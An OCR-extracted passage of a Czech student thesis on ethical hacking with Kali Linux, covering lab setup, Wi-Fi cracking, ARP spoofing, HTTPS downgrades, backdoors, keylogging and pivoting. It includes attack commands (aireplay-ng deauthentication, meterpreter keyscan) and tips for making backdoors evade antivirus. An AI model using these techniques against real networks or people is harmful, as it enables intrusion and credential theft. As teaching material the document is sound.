poskytované programem Kali Linux patfi Bluesniff, Bluetooth Scanner (btscanner),
John the Ripper, Metasploit Framework, nmap, Shellshock a Wget. (Leroux, 2020)
(Grauer, 2015)

S verzi 2019.4 v listopadu 2019 bylo vychozi uzivatelské rozhrani prepnuto z
GNOME na Xfce, pticemz verze GNOME je stéle k dispozici. (Nestor, 2019)
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3.6 Nat Network

Kazdy virtualni stroj pripojeny k Nat Network si mysli, Ze je pripojen k internetu.
Nicméné je pripojen nejdiive k hostujicimu stroji a poté teprve k internetu. Zadny
virtualni stroj neni vystaven pfimo na internet z divodu bezpe¢nosti. (Sabih, 2018)

Virtual Machines think this

/ / is an ethernet network

—

Nat | and think this
I
NETWORK { is a router

awaal

AT

Resources
eginternet

Obrdzek 3: schéma NAT Network, zdroj (Sabih, 2018)
3.7 Windows 10 Edge version

Microsoft zdarma nabizi virtualni stroje k testovani IE11 nebo Edge. Bézi na nich
Windows, tak je lze pouzit jako virtualni stroj s Windows. (Microsoft, 2020) (Sabih,
2018)

Platnost téchto virtuédlnich stroju vyprsi po 90 dnech. P#i prvni instalaci virtualniho
pocitace je doporucovan vytvorit snapshot, na ktery je mozné se pozdéji vratit.
Uzivatelé poc¢itaci Mac budou muset k rozbaleni souborii pouzit néstroj podporujici
zip64, naptiklad The Unarchiver. (Microsoft, 2020)

Heslo k vagemu virtualnimu pocitaéi je ,PasswOrd!“ (Microsoft, 2020)

3.8 Metasploitable

Metasploit je zhotoven firmou Rapid7. Je to rozsédhly framework, ktery obsahuje
velky pocet exploiti. Takze uzivatel mize vyuzivat zranitelnosti, nebo vytvorit
vlastni. Slouzi také jako pomitcka k objevovani exploiti. (Sabih, 2018)

Prikazy Metasploit:

msf console — spusti Metasploit konzoli

help — ukaze napovédu

show [something| — ukazat (exploity, payloady nebo moznosti)
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use [something] — pouzit (exploity, payloady nebo moznosti)
set [option]| [value| — nastav (moznost) na hodnotu (hodnota)
exploit — spust aktuélni ilohu (Tento piikaz se spousti na konci konfigurace.)

3.9 Metody Hackovani

V této kapitole budou popsany metody hackovani. Pro prehlednost budou rozdéleny
do 4 podkapitol.

V podkapitole Network Hacking bude popséano, jak funguje internetové sit, jak
zafizeni mezi sebou komunikuji a jak zneuzit tuto metodu komunikace. Konkrétné
bude popsano, jak prolomit hesla k bezdratovym sitim. Bude popséno, jak prolomit
jednotliva Sifrovani. Poté bude mozné sledovat veskera data, kterd protékaji touze
siti.

Jakmile toto bude popsédno v dalsim kroku v podkapitole Gaining Access bude
popséano, jak ziskat pristup k serveriim a osobnim pocitactim. Tato podkapitola bude
zamérena na to, jak sesbirat vycerpavajici data o tuto¢nikové cili, na objeveni
zranitelnosti, které budou vyuzita k ziskani plného pristupu k cilovému systému.
Mimo toho bude popséano, jak vytvorit nedetekovatelnéd zadni vratka a jak je dorucit
pomoci socidlniho inzenyrstvi.

V podkapitole Post Exploitation bude popséno, jak muze tato¢nik vyuzit pristupu,
ktery ziskal, jak bylo popsdno v pfedchozich podkapitolach. Bude popsano, jak
interagovat se souborovym systémem, jak spoustét systémové piikazy,
zaznamenavat 1whozy na klavesnici, jak spustit kameru nebo dokonce pouzit
prolomeny pocita¢ jako pivot.

V posledni podkapitole Website Hacking, kde bude popsano, jak webové stranky
funguji, jak vytézit vycerpavajici informace o nich. Na tuto podkapitolu v této praci

N

SQL Injections.

3.9.1 Network Hacking

Kazdé zarizeni je pripojené k sité. Toto je zaklad pro napaden kazdého zarizeni.
(Sabih, 2018) (Occupytheweb, 2018)

MAC adresa zajistuje, aby se ptislusny packet dostal ke spravnému zafizeni. Vétsina
zafizeni podporuje pouze managed mode. V zésadé tedy v tomto rezimu bude
uzivatelovo bezdratové zafizeni prijimat pouze pakety nebo se pokusi zachytit
pakety, které maji jako cilovou MAC adresu MAC uzivatelova zafizeni. Bude jen
prijimat pakety, které jsou skuteéné smérovany do uZzivatelova pocitace. (Sabih,
2018) (Iwaya, 2015)

Je vSak zadouci, aby bylo mozné zachytit jakykoli paket, ktery proudi kolem -
jakykoli paket, ktery je v dosahu. K tomu je tfeba pouzit rezim zvany monitor mode.
Rikéd bezdratové karts, aby zachytila v8e kolem ni, i kdyz cilovy MAC neni
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uzivatelova MAC. V zasadé to zachyti vSechny pakety v dosahu, i kdyZ nejsou
nasmérovany do uzivatelova zafizeni. (Sabih, 2018) (Cardenas, 2003)
(Occupytheweb, 2018)

3.9.1.1 Preconnection Attacks

Zaid Sabih doporuc¢uje nejlepsi zafizeni pro hackovani zde: (zSecurity, 2017)
Pomoci nastroje airodump-ng je mozné provadét takzvany paketovy sniffing. Toto
je nutné pred napadnutim jakékoli bezdratové sité. (Sabih, 2018) (Najera-Gutierez,
2018)

3.9.1.1.1 Deauthentication attack
Aireplay-ng —deauth [#DeauthPackets| -a [NetworkMac| -c¢ [TargetMac]| [Interface]

Source Mac: 00:11:22:33:44:55
Destination Mac: 00:22:22:22:22:22
Message: I want to disconnect

Hacker Access Point

-~
Mac = 001111111 N \ "

Mac =00:22:22:22:22:22
Resources

eginternet

Mac = 00:11:22:33:44:55

Obrazek 4: Odpojovdani 1, zdroj (Sabih, 2018)

V prvnim kroku tutoc¢nik predstira, Ze je pravé pripojeny klient zménou Mac adresy.
A posle signal routeru, Ze chce byt odpojen. (Sabih, 2018) (Sinha, 2018)
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Access Point

Mac = 001111111

N
]

(S i)

Mac = 00:22:22:22:22:22
Resources
eginternet
Source Mac: 00:22:22:22:22:22

Destination Mac: 00:22:22:22:22:22
Message: Ok you’'re going to be disconnected

Mac = 00:11:22:33:44:55

Obrdzek 5: Odpojovdani 2, zdroj (Sabih, 2018)

Poté utocnik zméni Mac adresu na adresu routeru a posle signal pro odpojeni
klientovi. (Sabih, 2018) (Najera-Gutierez, 2018)

3.9.1.1.2 Bez sifrovani

Pokud se jedna o sit bez Sifrovani je mozné se ihned pfipojit a pokracovat v dalsich
typech utoki. Pokud sit neni bezdratova je tfeba nejprve pripojit kabel. (Sabih,
2018) (Diogenes, 2019)

Bézné je vsak tfeba se nejprve vyporadat se Sifrovanim piistupu k siti. (Sabih, 2018)
(Sinha, 2018)

3.9.1.1.3 WEP

Tento standard je velmi jednoduchy, proto je dobré ho popsat jako prvni. Zaroven
lze stale nalézt v nekterych sitich. (Sabih, 2018) (Fitzpatrick, 2017)

WEP protokol pouziva algoritmus RC4 k Sifrovani svych dat. (Sabih, 2018)
(Occupytheweb, 2018)
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WEP CRACKING

e Client encrypts data using a key.
e Encrypted packet sent in the air.
e Router decrypts packet using the key.

Access Point

Data to send to
the router

internet

Obrdzek 6: WEP 1, zdroj (Sabih, 2018)

Pokud klient chce poslat néco routeru, nejdiive data zasifruje pomoci klice. (Sabih,
2018) (Occupytheweb, 2018)

WEP CRACKING

e Encrypted packet sent in the air.
e Router decrypts packet using the key.

Access Point

ASDKASDIASDJA

internet

Obrazek 7: WEP 2, zdroj (Sabih, 2018)

Tento paket bude sifrovan, tim bude necitelny. (Sabih, 2018) (Occupytheweb, 2018)
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Rezim celé obrazovky ukondite stisknutim kldvesy  Klévesa Esc

WEP CRACKING

e Client encrypts data using a key.

e Router decrypts packet using the key.

Access Point

internet

Obrdzek 8: WEP 8, zdroj (Sabih, 2018)

Tento Sifrovany paket bude zaslan. Pokud ho hacker zachyti, uvidi jen Sifrovanou
zpravu. (Sabih, 2018) (Najera-Gutierez, 2018)

WEP CRACKING

e Client encrypts data using a key.
e Encrypted packet sent in the air.

Access Point

internet

Obrazek 9: WEP 4, zdroj (Sabih, 2018)

Pristupovy bod tento paket zachyti a bude schopen ho transformovat zpét do
ptavodni podoby, protoze méa kli¢. (Sabih, 2018) (Sinha, 2018)
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WEP CRACKING
e Client encrypts data using a key.

e Encrypted packet sent in the air.
™ - [ ‘

Access Point

Loy
]

()

Data to send to internet

the router

Obrdzek 10: WEP 5, zdroj (Sabih, 2018)

Nakonec bude schopen precist obsah.
A naopak, pokud pfistupovy bod bude chtit néco poslat klientovi, pristupovy bod
zpravu zasifruje. Zasle ji klientovi a klient opét ma kli¢. (Sabih, 2018)
Kazdy, kdo paket zachyti uprostied komunikace, paket uvidi, ale nebude schopen
precist obsah, protoze nemé kli¢. (Sabih, 2018) (Diogenes, 2019)
Kazdy paket je Sifrovan unikatnim keystreamem. K realizaci pouzije nahodny
startovaci vektor (IV — initialization vector), ktery mé délku (pouze) 24 biti. Tento
vektor se prida ke kli¢i a vznikne keystream. (Sabih, 2018) (Sinha, 2018)

IV+key = keystream
Router, ktery obdrzi data, jiz méa kli¢(heslo), nicméné nema IV. Tudiz slabina
WEP protokolu je IV, ktera je posilano jako plain text. (Sabih, 2018) (Fitzpatrick,
2017)
Tento protokol je zranitelny na statisticky ttok. V rusSnych sitich je pii délce 24
biti, mnoho opakujicich se IV. K utoku lze pouZzit nastroj Aircrack-ng. (Sabih, 2018)
(Najera-Gutierez, 2018)

3.9.1.1.4 WPA a WPA2

Oba tyto protokoly jsou velmi podobné. Jediny rozdil mezi nimi je Sifrovani, kteréd
pouzivaji. WPA pouziva TKIP a WPA2 pouziva zvanou CCMP. (Sabih, 2018)
(Occupytheweb, 2018)

Toto neovliviiuje metody, kterou budou pouzity na prolomeni protokolu. Oba
protokoly prisly po WEP a smétovali proti jeho zranitelnostem, takze jsou mnohem
lépe zabezpedené. (Sabih, 2018) (Najera-Gutierez, 2018)
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Skrze je WPS lze tyto zcela obejit, pokus je WPS $patné nastaveno. (Sabih, 2018)
(Diogenes, 2019)

WPA2 mé unikatni klice, jsou mnohem delsi nez u WEP. Posilané pakety pro
tto¢nika nemaji zaddnou pouzitelnou informaci. (Sabih, 2018) (Fitzpatrick, 2017)
Jediné pakety, které poskytuji uzite¢nou informaci jsou handshake pakety. Toto jsou
4 pakety, které jsou vysilany b&hem pfipojovani klienta k routeru. Tyto pakety
poskytnou jen ¢aste¢nou informaci o heslu k siti. (Sabih, 2018) (Diogenes, 2019)

3.9.1.2 Post Connection Attacks

Jakmile je ttoc¢nik pfipojen je jedno, zda je pripojen pomoci kabelu nebo pomoci
bezdratové sité. Cely postup od tohoto bodu viibec nezalezi na tom, jakym zpiisobem
uto¢nik ziskal pristup. (Sabih, 2018) (Sinha, 2018)

Nyni dtoénik miize sbirat informace o napadeném systému. MuZzeme zachytavat
informace jako jsou uzivatelskd jména a hesla. Bude moci modifikovat data, kdyz
jsou na cesté mezi zafizenimi. (Sabih, 2018) (Najera-Gutierez, 2018)

3.9.1.2.1 Information gathering

Uto¢nik nemiize ziskat piistup k systému, pokud nema o ném dostatek informaci.
Zakladni informace jsou porty a MAC adresy cilového zafizeni. Dvé aplikaci mohou
uto¢nikovi s timto pomoci jsou to Netdiscover a NMap. (Sabih, 2018)
(Occupytheweb, 2018)

3.9.1.2.2 MITM dtok

Klasickd komunikace probihéa, tak ze zafizeni pfimo komunikuje s néjakou entitou.
Zatimco pifi Man in the Middle Attack uto¢nik je schopen se umistit mezi tato
zafizeni a je schopen zasahovat do jejich komunikace, a zaroven vidét vse, co si tato
zafizeni posilaji. (Sabih, 2018) (Najera-Gutierez, 2018)
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MITM ATTACKS

I«\m\\\\\

Resources
eginternet

MITM

AR TR

Man In The Middle Resources

eginternet

Obrdzek 11: schéma man-in-the-middle wtok, zdroj (Sabih, 2018)

Je nékolik metod, jak tohoto dosdhnout. Prvni metodou je ARP spoofing. (Sabih,
2018) (Occupytheweb, 2018)

Pti ARP spoofing misto bézného toku dat v8echna data bézi pfes uto¢nikuv pocitac.
To znamend kazda zprava, stranka, kazdé uzivatelské jméno, heslo zadané
napadenym pocitacem, bude muset proudit skrz utocnikiv pocitac. To umozni
utocnikovi zpravu precist, zménit nebo zahodit. Toto je velmi vadZzny a ucinny atok.
Duvod, pro¢ je to mozné, je ze ARP neni velmi bezpe¢ny. (Sabih, 2018) (Najera-
Gutierez, 2018)
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ARP SPOOFING
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Obrdzek 12: schméma ARP spoofing, zdroj (Sabih, 2018)

ARP (Adrress Resolution Protocol) je jednoduchy protokol, ktery umoziuje
odkazovat z IP adres na MAC adresy. (Sabih, 2018) (Plummer, 1982)

Klient zaSle zpravu vSem zarizenim pripojenym k siti, kdo ma prislusnou IP adresu.
Vsechna zafizeni v siti zpravu ignoruji kromé toho, kdo méa prislusnou IP adresu.
Toto zarizeni posle zpréavu, ze méa tuto IP adresu, poskytne i svou MAC adresu.
(Sabih, 2018) (Najera-Gutierez, 2018)

ARP Request

1P:10.0.2.1
MAC: 00:11:22:33:44:20

IP:10.0.2.7

MAC: 00:11:22:33:44:55
IP:10.0.2.6

MAC: 00:11:22:33:44:66

IP:10.0.2.5
MAC: 00:11:22:33:44:44
Obrazek 13: ARP schéma 1, zdroj (Sabih, 2018)
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1P:10.0.2.1
MAC: 00:11:22:33:44:20

IP:10.0.2.7

MAC: 00:11:22:33:44:55
IP:10.0.2.6

MAC: 00:11:22:33:44:66
IP:10.0.2.5

MAC: 00:11:22:33:44:44
Obrdzek 14: ARP schéma 2, zdroj (Sabih, 2018)

TypicaL NETWORK

Resources

eginternet

Obrazek 15: schéma ARP- typickd sit, zdroj (Sabih, 2018)

Obvykle kazdé zarizeni pripojené do sité komunikuje pfimo k routeru. Tedy nejprve
posle pozadavek routeru, router posle poZzadavek na internet, pocka na odpovéd a
poté preposle odpoved zafizeni, které si ji vyzadalo. (Sabih, 2018) (Occupytheweb,
2018)
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ARP SPOOFING
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Obrdzek 16 Arp Spoofing — pozadavky, zdroj (Sabih, 2018)

Pri ARP spoofing hacker zasle 2 ARP odpovédi, jednu routeru a druhou obéti.
Routeru fekne, ze ma IP obéti. Takze router aktualizuje svoji ARP tabulku, takze
si spoji IP obéti s ato¢nikovou MAC adresou. To stejné provede s obéti, takze obét
si asociuje IP adresu routeru s tto¢nikovou MAC adresou. (Sabih, 2018) (Najera-
Gutierez, 2018)

Obét si mysli, ze uto¢nik je router. Router si mysli, Ze uto¢nik je obét. Tim to se
docili, ze vSechny pozadavky, které obét posle ptijdou pres utocniktuv pocitac. A
zaroven vechny odpovédi, které mifi k obéti jdou pfes ttocnikuv poécitac. (Sabih,
2018) (Sinha, 2018)

Nejvétsi slabinou ARP je, Ze klient pfijme odpovédi, pfestoze neposlal zadny
pozadavek. (Sabih, 2018) (Occupytheweb, 2018)

3.9.1.2.3 Obejiti HTTPS

Pokud obét pouziva HTTP, tak tto¢nik skute¢né vidi, co v8e pres néj proudi, nebot
v  HTTP jsou data prenasena jako plain text. Nejenze je hacker vidi, mize je
modifikovat, jak si preje. Tento problém fesi HTTPS. (Sabih, 2018)

HTTPS piidava dalsi vrstvu k http. Odtud pochazi pismeno S zabezpeceny (secure)
HTTP. (Sabih, 2018) (Google Support, 2020)

HTTPS spoléha na TLS nebo SSL. Tuto metodu je tézké prolomit. Nejjednodussi,
jak toto obejit, je ponizit HTTPS na HTTP. Uto¢nik jako Man in the Middle
zkontroluje, zda obét vyzaduje HTTPS stranku a misto ni mu hacker podstréi http
stranku. (Sabih, 2018)

44



3.9.1.2.4 Obejiti HSTS

Metoda vynuceného vyuziti HT'TP nebude fungovat pro Facebook, Twitter a jiny
strankam, které pouzivaji HSTS. (Sabih, 2018) (Occupytheweb, 2018)

Dtvod, pro¢ tento typ tutoku nefunguje, je to, Ze moderni prohlize¢e mayji
zabudovany seznam webovych stranek, které se vzdy nac¢tou jako HTTPS. Tento
seznam je ulozen lokélné, takze neni ovlivnén utokem Man in the Middle. (Sabih,
2018)

Jediné praktickd moznost, jak obejit HSTS je zpiisobit, aby si prohlize¢ myslel, Ze
jde o jinou webovou stranku. Uto¢nik miize zaménit skute¢nou URL adresu adresou
podobnou. Napriklad hacker muze nahradit facebook.com facebook.corn. Pismeno m
vymeéni za pismena r a n. (Sabih, 2018)

3.9.1.2.5 DNS spoofing

DNS server preklada nédzvy domén na IP adresy. Napiiklad pokud uzivatel zada do
prohlizece google.com, pozadavek pujde na DNS server, server odpovi IP adresou,
kde jsou soubory google.com ulozeny a prohlize¢ nacte stranku z této IP adresy.
(Sabih, 2018) (Najera-Gutierez, 2018)

Pokud je vSsak hacker Man in the Middle, pozadavek pro DNS server piijde pfes
utocnikiv pocita¢ jako prvni. Proto tutoénik muize misto spravné IP adresy
poskytnout libovolnou jinou adresu. TakZe tutoénik miiZze presmérovat obét na
podvodnou stranku se zadnimi vratky nebo skodlivym koédem. (Sabih, 2018)

3.9.1.2.6 Fake access point

Hacker vytvoii z vlastniho pocitace pristup na internet. Ostatni uzivatelé se budou
chtit pFipojit k pres néj k internetu. (Sabih, 2018)

Takto utocnik vibec nemusi zneuzit ARP protokol ani nic jiného. Zkratka ttocnik
se stava automaticky Man in the Middle. Uzivatelé pres néj posilaji veSkera sva
data, ktera od nich proudi na internet. (Sabih, 2018) (Occupytheweb, 2018)
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CREATING A FAKE Access PoOINT
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Obrdzek 17: schéma fake access point, zdroj (Sabih, 2018)

3.9.2 Gaining Access

Kazdé elektronické zafizeni je pocitac. Mobil, televize, notebook, webovy server,
webové stranka, sit, router, vSechna tato zafizeni jsou pocita¢, véechna maji operacni
systém a maji programy nainstalované na téchto operac¢nich systémech. Obvykle ve
vétsiné pripadu tato zafizeni jsou pouzivana uzivateli. TudiZz zafizeni maji opera¢ni
systém, programy na nich nainstalované a maji uzivatele, ktery pouzivd a
konfiguruje systém. (Sabih, 2018)

Tato prace se bude zabyvat, jak ziskat pfistup do osobnich pocita¢u (jak jsou ¢asto
nazyvany). Bude popsana postup pro zafizeni s Windows nebo Linux, ale koncept
je vzdy stejny. (Sabih, 2018) (Occupytheweb, 2018)

Utoénik miiZze vyuzit stejny koncept, kdyz cili na telefon, tablet i na web server. Pro
pochopeni konceptu je dobré se divat na web server jako na pocita¢. Televize a
podobné véci jsou jen poé¢ita¢ s méné komplikovanym hardwarem uvnitf. (Sabih,
2018)

3.9.2.1 Server side

Sever side ttoky nevyzaduji zasah uzivatele. Tento typ titoku je mozné pouzit jak
proti web servertim, tak i osobnim poé¢ita¢tim. (Sabih, 2018) (Sinha, 2018)

Nicméné jsou tyto ttoky primérné uréené pro servery. Osobni pocitace maji obvykle
svoji IP adresu schovanou za routerem, tudiz jsou Castecné chranény. Zjednodusené
tyto utoky jsou pouzitelné, pokud hacker muze tyto po¢itace pingnout (piikaz ping
s asp&nym vysledkem). (Sabih, 2018) (Occupytheweb, 2018)
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3.9.2.1.1 Information Gathering

Sbirani informaci je prvni krok pi#i server side ttocich. Utoénik zjisti operaéni systém
obéti, nainstalované aplikace, bézici sluzby, porty asociované se sluzbami. (Sabih,
2018) Pres tyto nainstalované sluzby muze hacker zkusit a dostat se do systému.
Muze se o to snazit pres zkouSeni implicitntho hesla. Nékdy muzou uzivatelé
nainstalovat sluzbu a Spatné ji nakonfigurovat. Nékteré sluzby mohou mit zadni

vratka nebo mohou mit zranitelnosti, jako napiiklad preteceni bufferu nebo exekuce
kodu. (Sabih, 2018) (Sinha, 2018)

3.9.2.2 Client side

Tento typ atoku vyzaduje pro uzivatele néco provést. Naptiklad uzivatel otevte link,
nainstaluje update, nainstalovat obrazek nebo oteviit obrazek. Jakmile udélaji,
hacker bude schopen spustit skodlivy kod a docilit svého cile. (Sabih, 2018)
Protoze je vyzadovana interakce uzivatele, sbirdni informaci je klicové v tomto
piipadé. Utoénik nepotiebuje znéat jen nainstalované programy, ale také uzivatele.
Potiebuje znat jeho pratele, sit, kterou pouziva, webové stranky, které pouziva. Také
pokud je néjaka stranka, kterou uzivatel casto pouziva a které duavéruje. Tudiz
sbirdni informaci v této sekci je spiSe zaméfeno na uzivatele, nez na pouzivané
programy a operacni systém. (Sabih, 2018) (Occupytheweb, 2018)

3.9.2.2.1 Backdoor

Zadni vratka je soubor, ktery v piipadé spusténi na cizim pocitac¢i poskytne
hackerovi plny pfistup. To mu umozni ho hacknout a provadét cokoliv na ném. Je
mnoho zptusobi, jak vygenerovat zadni vratka. Predmétnéjsi je vSak vytvorit zadni
vratka, ktera nebudou detekovana antivirovymi programy. (Sabih, 2018)
Antivirové programy maji velmi velké databéze signatur. Tyto signatury odpovidaji
souborim, které obsahuji skodlivy kod. Aby utocéniktv soubor nebyl odhalen, musi
se snazit ho modifikovat, jak je jen mozné, aby soubor byl jedine¢ny. Je to mozné
docilit Sifrovanim, instrumentovanim, obfuskovanim nebo injektovanim do paméti.
Pokrocilejsim modifikovani je tfeba nastavit minimalni mnozstvi pouziti jader
procesoru nebo jak dlouho maji zadni vratka spat po spusténi, nez spusti skodlivy
kod. (Sabih, 2018) (Occupytheweb, 2018)

Zadni vratka neotviraji port na cilovém pocitaci, vlastné se pripoji k ttocénikové
stroji, kde je jiz naslouchajici port. Diky tomu obejdou firewall a budou méné
podezielé. (Sabih, 2018)

Malokdy uzivatel stdhne a nainstaluje aplikaci, kdyZz mu to nékdo fekne. Proto jsou
vyvinuty chytiejsi zpusoby dorucovéani zddnich vratek. Tteba pres falesny update
opera¢niho systému. (Sabih, 2018)
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3.9.2.2.2 Social engineering — Maltego

Ptedchozi metody meély jednu chybu, ttocénik potfeboval byt Man-in-the-Middle.
Socialni inzenyrstvi neni o technickych znalostech. Je to o budovani strategie, jak
napadnout cil, ziskat néjaké hesla nebo ziskat piistup k ur¢itému poéitaci. Utoénik
musi nasbirat, co nejvice informaci o cili, jaky webové stranky pouziva, kdo jsou
jeho pratelé, kazda informace se miize stat opravdu diilezitou pro socidlni
inzenyrstvi. (Sabih, 2018) (Sinha, 2018)

Zaid Sabih popsal ve své publikaci, jak sesbiral data o osobé, ktera je uvédoméla, o
tom, co zverejiiuje o sobé na internet. Popisuje, ze kdyby to byla obvykl4 osoba,
bylo by az prekvapujici, kolik informaci 1ze o ni sebrat. (Sabih, 2018)

Se sesbiranymi informacemi lze tfeba nalozit tak, ze tto¢nik predstira, ze je jeden
z jeho pratel, posle mu fotku auta, které se chysta koupit, obét otevie obrazek, ktery
obsahuje skodlivy kod. (Sabih, 2018) (Occupytheweb, 2018)

3.9.2.3 Mimo lokalni sit

Pro demonstraci na virtualnich strojich na jednom pocitaci staci, aby tutoky
fungovaly na lokélni siti. To ovSem neznamend, ze nefunguji jinde. Jediné, co musi
utocnik udélat je konfigurovat svoji sit, tak aby pfijimala ptipojeni zvenci. Je tieba
konfigurovat uto¢nikiav router, aby zvladl zpétna pripojeni (reverse connections).
(Sabih, 2018)

Na schématu nize jsou zobrazeny Cervené privatni adresy a zelené verejné IP adresa.
Je vidét, ze router ma 2, jednu privatni a jednu vefejnou. (Sabih, 2018) (Sinha, 2018)
Pokud se zadni vratka spusténd mimo lokalni sit budou snazit pripojit pomoci
zpétného pripojeni, pfipoji se nejprve na router pres urcity port. Router vSak nebude
védét, co s tim ma udélat, protoze router na tomto portu neposloucha a tento
pozadavek nefekne router, kam ho méa presmérovat. To, co tto¢nik musi udélat je,
nastavit router, tak aby vzdy kdyz dostane pfipojeni na urcitém portu, poté ttoc¢nik
chce preposlat pozadavek tfeba na virtualni stroj Kali linux. (Sabih, 2018)
(Occupytheweb, 2018)

48



DEFAULT NETWORK AENTS
SETUP

= =

m REsPONSES
_____,_.....__.-‘.\5

RESPONSES “\\_S

ROUTER / GATEWAY
INTERNET 89.100.145189

Obrdzek 18: implicitni nastaveni sité, zdroj (Sabih, 2018)

DMZ host neni podporovan vSemi routery. Narozdil od forwarding, ktery
presmérovava jeden urcity port, DMZ presmérovava vSechny porty. (Sabih, 2018)

3.9.3 Post Exploitation

Tato kapitola bude zamérena na to, co tito¢nik miize délat poté, co ziska pristup
k uzivatelovu pocitac¢i. Nezalezi na zptsobu, kterym se tuto¢nik do pocitace dostal
(sever side exploit, socidlni inZenyrstvi, zadni vratka, dira v aplikaci). Je
predpokladéno, ze hacker ziskal ptristup k pocitaci, a nyni bude popséno, co ttoc¢nik
zmize v pocita¢i obéti, jak si muze zachovat pfistup k pocita¢i (po odinstalovani
aplikace, po restartu). (Sabih, 2018) (Najera-Gutierez, 2018)

Pokud je proces, kterym se hacker dostal do pocitace obéti, napojen na program,
ktery uzivatel spustil, ato¢niktiv pristup zanikne ukoncenim tohoto programu. Lepsi
je zmigrovat na proces, u kterého je mensi pravdépodobnost, zZe bude zavien, nebo

~ v

pocita¢ zapnuty. (Sabih, 2018) (Occupytheweb, 2018)
3.9.3.1 Maintain access (udrzeni p¥istupu i po restartu pocitace)

Jedna z metod je pouzit misto klasickych zadnich vatek HT'TP nebo HTTPS sluzbu.
Dalsi metodou je pouzit modul v meterpretu, ktery se nazyva persistence. (Sabih,
2018) (Najera-Gutierez, 2018)

Nevyhoda prvni metody je, Ze nefunguje vzdy a druha je zas detekovatelna
antivirovymi programy. Idealni je zvolit kombinaci obou metod. (Sabih, 2018)
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3.9.3.2 Keyscan

Keyscan neboli keylogger umoznuje snimat stisknuté klavesy na napadeném pocitaci.
Slouzi k odhaleni hesel. Zakladni pfikazy jsou: (Occupytheweb, 2018)

keyscan start — spusti keylogger

keyscan dump — ukéze, co keylogger zachytil

keyscan stop — ukon¢i keylogger

screenshot — udéla screenshot obrazovky

3.9.3.3 Pivoting

Podle obrazku niZze pravy kruh znézornuje lokalni sit. Zarizeni Metasploitable neni
pro uto¢nika vidét nebo z néjakého jiného divodu nemtize pouzit prikaz ping a
dostat se k nému. Hacker je v siti znazornéné kruhem nalevo. Zde jsou jen 2 zafizeni.
Hacker (zelené zafizeni) a Cervené zafizeni (bylo hacknuté diive). Myslenkou
pivotingu je, ze hacker pouzije predeslé hacknuté zafizeni (spole¢né zafizeni pro obé
sité) ke kompromitovani ostatnich zafizenich, ke kterym ma jen toto zafizeni pFistup.
Toto zarizeni vprostied se nazyva pivot. (Sabih, 2018)

PosT EXPLOITATION - pivorine

-

”
Z
z
E Y
Z

METASPLOITABL

e Use the hacked device as a pivot.
e Try to gain access to other devices in the network

> % Bt W Prosani vie

Obrazek 19: pivoting, zdroj (Sabih, 2018)

3.9.4 Website Hacking

Webova stranka je aplikace nainstalovand na pocitaci. Tento poc¢ita¢ méa obvykle
lepsi hardware nez osobni pocitac¢, ale v zdkladu se chova jako jiny pocita¢. Ma
opera¢ni systém a mnoho aplikaci, které mu umoznuji se chovat jako webovy server.
Dvé hlavni aplikace, které pravdépodobné ma, jsou webovy server a databéze.
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Webovy server je napiiklad Apache a databaze MySQL. Webovy server v zakladu
rozumi a spousti webové aplikace. Databéze obsahuje data, ktera pouziva webova
aplikace. (Sabih, 2018) (Najera-Gutierez, 2018)

Toto vSe je ulozeno na pocitaci zvanym server. Tento pocitac je pfipojen k internetu,
ma vefejnou IP adresu, tudiz kazdy mize pristupovat k tomuto pocitaci a pingnout
ho. (Sabih, 2018)

Vsechny webové aplikace jsou spoustény na webovém serveru, nikoli na klientoveé
pocitaci. Poté je pripravena HTML stranka, kterou si muze klient precist. (Sabih,
2018) (Najera-Gutierez, 2018)

Toto plati pro PHP, Python a dalsi. Na druhou stranu Javascript je client — side
jazyk. Tento skript bude spustén na klientové pocitaci. Je tedy nutné rozliSovat mezi
client — side a server — side jazyky. (Sabih, 2018)

3.9.4.1 Information gathering

Jako obvykle prvni véc, kterou tro¢nik udéla, nez vytézi néjaky systém, je sesbirani
co nejvice informaci o obéti. A u webové aplikace nejsou odlisné. U webové aplikaci
nejzasadnéjsi informace jsou: IP adresa, nazev domény, technologie pouzivané
webovou strankou, pouzivany programovaci jazyk, druh serveru, druh databaze,
informace o spolecnosti, DNS zéznamy, soubory, které nejsou v seznamu nebo
subdomény, které nejsou viditelné pro uzivatele. (Sabih, 2018)

Nastroj, ktery muze pomoci pfi hledani informaci specifickych pro webovou stranku
je Whois Lookup(whois.domaintools.com) jedna se o protokol, ktery se pouziva
k nalezeni vlastnikli internetovych prostifedki, naptiklad serveri, IP adresy nebo
domény. (Sabih, 2018) (Najera-Gutierez, 2018)

Stranka  netcraft je uréena pro odhaleni pouzivanych  technologii.
(https://www.netcraft.com/)

Pro informace o DNS serverech je mozné pouzit stranku robtex.
(https://www.robtex.com/ )

V mnoha scénarich cilovd webova stranka nebo webovy server miize obsahovat vétsi
pocet webli. Bude obsahovat cilovou stranku, ale také webové stranky ulozené na
stejném serveru, stejném souborovém systému. Pokud nebude zranitelnd cilova

stranka, hacker muze vyuzit zranitelnosti jiné webové stranky ulozené na stejném
webovém serveru. Pokud toto tuto¢nik provede, ziska pristup k serveru. Pristup
k serveru v zadkladu znamené pristup ke vSem ulozenym webovym stréankam na
serveru. Webovy server je jen pocita¢ a ttocnik miize prosté navigovat k vyzadané
webové strance. (Sabih, 2018)

To, ze stranka existuje na stejném serveru, znamena, ze maji stejnou IP adresu.
Jedna z moznosti, jak odhalit weby na stejné IP adrese je zadat do vyhleddvace Bing
ip: [IP adresa]. (Sabih, 2018)

Subdomény jsou velmi diilezité pro uto¢nika. Nekteré weby maji zvlastni subdomény
pro své uzivatele, napfiklad pro zaméstnance nebo pro nékteré zakazniky. To
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znamend, Ze nejsou inzerovany, dokud uzivatel tfeba neni VIP zékaznik nebo dokud
neni zaméstnanec. TakZe neni mozné tyto subdomény najit ve vyhledavacich
néstrojich, nebo najit odkaz na né. Tyto subdomény mohou obsahovat zranitelnosti,
protoZe neni k nim kladena takova pozornost, nebot nejsou inzerovany. Né&které
velké webové aplikace instaluji nové verze a updaty na subdoménach. Napftiklad na
beta.facebook.com neni omezen pocet pokusti na heslo. (Sabih, 2018) (Najera-
Gutierez, 2018)

3.9.4.2 File upload zranitelnosti, code execution zranitelnosti a file inclusion
zranitelnosti

File upload zranitelnosti patii mezi nejjednodussi zranitelnosti, nebot umoziuji
utocnikovi nahréat jakykoli soubor. Pokud cilovy pocita¢ rozumi PHP, tak hacker
muze nahrat jakykoli PHP soubor a tim ziskal plny pristup k napadenému pocitaci.
Code execution zranitelnost umoznuje hackerovi spustit kod, ktery pracuje na
operacnim systému serveru. To znamené, pokud cilovy server pouzivd Windows,
